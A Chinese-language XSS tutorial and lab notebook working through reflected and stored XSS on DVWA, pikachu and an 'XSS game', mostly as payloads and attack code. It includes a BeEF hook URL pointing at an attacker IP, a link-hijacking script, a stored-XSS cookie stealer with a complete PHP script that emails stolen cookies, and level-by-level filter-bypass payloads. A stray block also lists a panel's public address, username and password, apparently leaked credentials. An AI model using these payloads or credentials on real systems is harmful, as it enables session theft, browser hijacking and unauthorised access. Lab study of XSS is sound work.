XSS-跨站脚本攻击
反射型XSS
反射型XSS攻击通常发生在Web应用程序未能充分处理用户输入的情况下。攻击者利用应用程序的漏洞,将恶意脚本嵌入到URL参数中,当受害者点击这个恶意链接时,Web应用程序会将URL参数的内容作为响应的一部分发送给用户浏览器,导致恶意脚本执行。
实战演练:反射型XSS攻击步骤
-
环境搭建:
攻击者首先需要一个存在XSS漏洞的Web页面。在实战演练中,我们可以使用如DVWA(Damn Vulnerable Web Application)这样的脆弱应用程序来模拟环境。 -
恶意脚本编写:
编写JavaScript代码,该代码在页面加载时执行,修改页面上所有链接的href属性,指向攻击者控制的网址。示例代码如下:
window.onload = function() {
var links = document.getElementsByTagName('a');
for (var i = 0; i < links.length; i++) {
links[i].href = 'http://attacker.com';
}
}
一般来说,我们不会这么low自己编写这种脚本,别人都有现成的,一般叫做***Xss漏洞管理平台。常见的有beef。
所以我们一般把
<script src="http://192.168.1.105:3000/hook.js"></script>
这种丢给用户点击就行了,浏览器自己会解析这个脚本。
- 攻击触发:
将恶意脚本作为查询参数附加到URL中,并诱使受害者点击这个链接。例如:
http%3a%2f%2fvulnerable-site.com%2f%3fdata%3d%3cscript+src%3d%22http%3a%2f%2f192.168.1.105%3a3000%2fhook.js%22%3e%3c%2fscript%3e
翻译一下上面的:
http://vulnerable-site.com/?data=<script src="http://192.168.1.105:3000/hook.js"></script>
-
浏览器劫持:
当受害者点击链接后,他们的浏览器会加载并执行恶意脚本,导致浏览器被攻击者劫持。 -
梳理一下:
- DVWA是合法网站,但是存在xss漏洞,【普通用户】在浏览器想要去访问它。
- 【恶意用户】把一个带有恶意脚本的链接丢给【普通用户】。
- 【普通用户】点击带有恶意脚本的链接。
- 请求先去访问了DVWA,但是由于请求里面带有恶意脚本,并且DVWA存在xss漏洞,所以响应里面仍然带有该恶意脚本。
- 恶意脚本被浏览器解析,这个时候浏览器就被恶意脚本劫持了。
- 【恶意用户】通过在Beef等漏洞管理网站就可以对该【普通用户】的浏览器进行为所欲为了。
存储型XSS
例子:比如恶意用户,往一个帖子里面放了一段恶意代码,该恶意代码会获取别人的cookie,从而发送到恶意用户的邮箱。并且该帖子已经发布了,并且存在于贴吧里面。
只要用户查看了这个贴吧的帖子,都会被获取cookie,从而被攻击。
窃取Cookie发送邮件实战
- 恶意用户往数据库写入一段恶意代码。
<script src=\'http://localhost/xss/mail.js\'></script>
这一段代码的内容就是
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/xss/sendmail.php?mycookie='+encodeURIComponent(document.cookie);
这个会窃取查看该信息的人的cookie。(注意里面的document.cookie)
然后这个sendmail.php会将这个cookie发到恶意用户的邮箱。
- 无辜用户,访问到该页面时,被页面获取到cookie,从而被发送到恶意用户的邮箱。
附sendmail.php代码
<?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require 'phpmailer/src/Exception.php'; require 'phpmailer/src/PHPMailer.php'; require 'phpmailer/src/SMTP.php'; $mail = new PHPMailer(true); // Passing `true` enables exceptions try { $cookie = $_GET['mycookie']; if(isset($_GET['mycookie'])){ // 服务器配置 // !!! 注意PHP版本必须为7 $mail->CharSet ="UTF-8"; //设定邮件编码 $mail->SMTPDebug = 0; // 调试模式输出 $mail->isSMTP(); // 使用SMTP $mail->Host = 'smtp.qq.com'; // SMTP服务器 $mail->SMTPAuth = true; // 允许 SMTP 认证 $mail->Username = '3499590161@qq.com'; // SMTP 用户名 即邮箱的用户名 $mail->Password = '你的授权码'; // SMTP 密码 部分邮箱是授权码(例如163邮箱) $mail->SMTPSecure = 'ssl'; // 允许 TLS 或者ssl协议 $mail->Port = 465; // 服务器端口 25 或者465 具体要看邮箱服务器支持 $mail->setFrom('3499590161@qq.com', 'wuya'); //发件人 $mail->addAddress('3499590161@qq.com', 'wuya'); // 收件人 //$mail->addAddress('ellen@example.com'); // 可添加多个收件人 $mail->addReplyTo('3499590161@qq.com', 'info'); //回复的时候回复给哪个邮箱 建议和发件人一致 //$mail->addCC('cc@example.com'); //抄送 //$mail->addBCC('bcc@example.com'); //密送 //发送附件 // $mail->addAttachment('../xy.zip'); // 添加附件 // $mail->addAttachment('../thumb-1.jpg', 'new.jpg'); // 发送附件并且重命名 //Content $mail->isHTML(true); // 是否以HTML文档格式发送 发送后客户端可直接显示对应HTML内容 $mail->Subject = 'cookie' . time(); $mail->Body = $_GET['mycookie']; $mail->AltBody = '如果邮件客户端不支持HTML则显示此内容'; $mail->send(); echo '邮件发送成功'; } } catch (Exception $e) { echo '邮件发送失败: ', $mail->ErrorInfo; }
DVWA靶场——反射型
Low
<script>alert('xss')</script>
Midum
大小写或者双写绕过
<Script>alert('xss')</script>
<sc<script>ript>alert(123456)</script>
High
使用其他标签绕过
<img src="" οnerrοr="alert('xss')">
Impossible
因为代码使用htmlspecialchars函数,把< >等字符转换为实体字符< >
所以,所有的html标签类都没法注入了。没法攻击。
DVWA靶场——存储型
和上面一样。(但注意把payload放在Name里面)
面板版本: v1.1.7
外网面板地址: http://183.57.199.80:38077/ef39a7
内网面板地址: http://192.168.23.131:38077/ef39a7
username: 3e76d4c0
password: a027c2be
pikachu——GET
假如127.0.0.1合法的网站,192.168.142.66为攻击者的后台。
假如用户不小心执行了攻击者预埋在127.0.0.1页面的这个脚本。
然后会把用户的cookie记录在192.168.142.66。
pikachu——POST
如果用户访问192.168.142.66的post.html(假设192.168.142.66为攻击者用来实施欺骗的网站;127.0.0.1为合法的网站。)
该post.html会去访问127.0.0.1,从而获取到用户对127.0.0.1的cookie,并且存在192.168.142.66中。
Beef管理平台
章节在【9-2.8-XSS平台搭建-下】
搞完后要最后探索下这个
- 打开dvwa ,然后打开XSS反射型。把beef的钩子文本输入进去。
-
然后在beef的界面进行命令操控。比如弹个窗。
然后宿主机就会弹个窗出来。
Xss检测和利用
- 自动化检测Xss漏洞工具——XSSER
- 自动化检测xss漏洞工具——XSSSTRIKE
get类型
post类型
XSS 防御
-
WAF (Web Application Firewall)——用于防御XSS漏洞
- modSecurity
Xss游戏
测试过滤的payload(万能payload)
<sCr<scrscRiptipt>ipt>OonN\'\"'<>
一般可以输入payload地方,看看后端接收到的是什么payload,就知道过滤了啥。
第一关(直接alert)
没有做任何过滤,直接注入脚本
http://localhost/xss/level1.php?name=<script>alert(1)</script>
第二关(onmouseover)
我们直接右键F12查看页面代码
可以看到,这里一共有两个地方会现实payload
15行和17行,但是15行过滤比较严格,我们从17行入手即可。
可以看到,value这里根本没有过滤掉任何东西。所以我们直接上传统艺能,闭合操作符就行。
- 方法一:
譬如先闭合双引号,然后使用onfocus来触发xss
" οnmοuseοver="alert(/xss/)
输入后,页面会变成这样
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和<sCr<scrscRiptipt>ipt>OonN\&apos;\"<>相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="" onmouseover="alert(/xss/)">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:37</h3></body>
</html>
点击完搜索后,把鼠标移至输入框,就能xss成功了。
(一般来说,onfocus也是可以的,但是不知道为啥网页会出bug)
- 方法二:
或者把双引号和尖括号都给闭合掉
"> <script>alert(1)</script> <"
这样,一点击搜索,就能xss成功了。
第三关(onmouseover)
第一步,先把万能payload丢进去,然后查看源代码。
可以发现发生了以下的转换
" "
< <
> >
但是,单引号居然没被过滤,我们就先从闭合单引号开始就行了。
第二步,制作payload
' οnmοuseοver='alert(1)
第四关(onmouseover)
第一步,先把万能payload丢进去,然后查看源代码。
可以发现发生了以下的转换
< 被删除
> 被删除
但是,单引号和双引号没有变化。
所以我们直接闭合双引号即可。
payload如下。
第二步,制作payload
" οnmοuseοver="alert(/xss/)
第五关(<a>
标签)
第一步,先把万能payload丢进去,然后查看源代码。
可以发现发生了以下的转换
大写变小写
on变o_n
明显,我们不能用onmouseover了,但是我们可以用尖括号啊。
传统艺能,闭合双引号和尖括号即可。
第二步,制作payload
"> <script>alert(1)</script> <"
可以发现,
<script>被替换成 <scr_ipt>
但是看上面,用大小写间隔的就没事,所以,我们这样构造。
试了下,还是不行,估计大小写是先被转化的,再匹配script的。
我们可以尝试别的标签,比如<a>
"> <a href="javascript:alert(1)">xss</a> <"
这样,就能点击了。
第六关(大小写混写)
同样,再次用万能payload
可以看到,大小写没有转换,我们直接用大小写间隔的payload即可。
"><scRipt>alert(1)</scRipt><"
第七关(双写)
同样,再次用万能payload
可以看到
on被去掉了一个,但是由于双写,所以还保留有一个
script去掉了一个,但是由于双写,所以还保留有一个
对大小写转换为小写
所以,我们直接用双写payload
"> <scrscriptipt>alert(1)</scriscriptpt>
第八关(16进制编码)
同样,再次用万能payload
可以看到
输入框位置
< 变成了 <
> 变成了 >
" 变成了 "
大写被转换成了小写
链接位置
script 被转成了 scr_ipt
大写被 转成了小写
双引号被转成了"
首先尝试a标签里的
javascript:alert(1)
可以看到,script还是被替换了,这个时候我们可以考虑用编码的方法,比如把s编成16进制。
s的16进制是73,那么在url里面s写成s即可
即payload为
javascript:alert(1)
然后就可以xss成功了
第九关(编码+外部链接)
同样,再次用万能payload
这节更狠,直接不让你看了,说链接不合法。
试试javascript:alert(1)
发现还是不行。
这个时候,我们从语义入手,从代码语义上说,我们这里要输入一个链接,我们猜它可能匹配了http等前缀,试下将alert的内容换成http://www.baidu.com看看
javascript:alert("http://www.baidu.com")
终于,不再是直接显示【您的链接不合法?有没有!】这个字符串了
可以发现,只有双引号被替换了,我们试一下单引号。
javascript:alert('http://www.baidu.com')
可以发现,xss成功了。
第十关(隐藏的input)
我们先试一下万能payload
结果发现都被替换了
但是我们发现,下面有几个被隐藏了的input。但是我们这关只能通过url来输入,我们应该怎么才能利用起来这些隐藏的input呢?
我们尝试用get参数去输入这些字段看下(因为有可能后端接收这些参数是get/post都接收的)
http://localhost/xss/level10.php?t_link=a&t_history=a&t_sort=a
可以看到,t_sort正是这样,所以我们可以直接从这里xss
由于原来type="hidden"的,所以我们覆盖它就行了
http://localhost/xss/level10.php?t_sort=" type="button" οnclick="alert(1)"
如上
第十一关(Referer)
可以看到,仍然有几个隐藏的input
我们继续按上面的思路来试一下
http://localhost/xss/level11.php?t_link=a&t_history=a&t_sort=a&t_ref=a
然后,我们尝试一下,上面的payload
http://localhost/xss/level11.php?t_sort=" type="button" οnclick="alert(1)"
可以发现,双引号被替换了。
所以,t_sort没法被注入。
但是我们看到有一个t_ref字段,这个很像Referer字段。所以我们用burpsuite抓包看下,能不能在Referer用xss攻击下。
我们抓到包后,加一下Referer
然后forward一把,查看源代码,果然。
然后我们就在这输入payload试一下
Referer: " type="button" οnclick="alert('xss')
注意,Referer一定要放在较前面
然后点击下按钮就通过了。
第十二关(User-Agent)
首先看下源代码
明显,这是User-Agent
同样的处理。(抓包,然后修改)
User-Agent: " type="button" οnclick="alert('xss')
第十三关(Cookie)
明显,这个是cookie
Cookie: user=" type="button" οnclick="alert('xss')
第十五关(ng-include + <img>
onerror)
第十四关对应的iframe网址已失效,无法测。
可以看到,把payload放在这了。
以下是ng-include的基本用法:
- 在需要包含外部文件的位置,使用ng-include指令,并将要包含的文件路径赋值给指令的属性值。
<div ng-include="'path/to/file.html'"></div>
注意,文件路径需要用单引号或双引号括起来。
- 可以使用作用域变量作为文件路径的一部分,以实现动态包含。
<div ng-include="dynamicPath"></div>
在控制器中,将dynamicPath变量设置为要包含的文件路径。
$scope.dynamicPath = ‘path/to/file.html’;
这样,当dynamicPath的值发生更改时,将自动更新包含的文件内容。
需要注意的是,ng-include指令是通过浏览器的XHR请求加载外部文件的。因此,需要确保被包含的文件在服务器上可访问。
- 注意点:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别
所以直接用下面的script标签是不行的。
http://localhost/xss/level15.php?src='level1.php?name=<script>alert(1)</script>'
所以,我们可以利用onerror加载错误来执行指令。
http://localhost/xss/level15.php?src='level1.php?name=<img src=x οnerrοr=alert(1)>'
成功解决。
第十六关(<img>
onerror + 回车编码)
这关得先看源码了。
这个只是过滤了script,我们可以用<img>
标签
这个只是过滤了空格,我们可以用回车%0A
http://localhost/xss/level16.php?keyword=<img%0Asrc="1"%0Aonerror=alert(1)>
第十七关(embed + onmouseover)
看源码,用了embed标签。mbed标签可以加入事件,可以在arg01,或者arg中加入事件去触发即可。
可以看到,输入的a和b直接就放在这里,我们直接往embed标签加入事件即可。
http://localhost/xss/level17.php?arg01=123 onmouseover=alert(1)&arg02=b
第十八关
和十七一样
第十九关和第二十关
这种flash现在不支持了,不做了。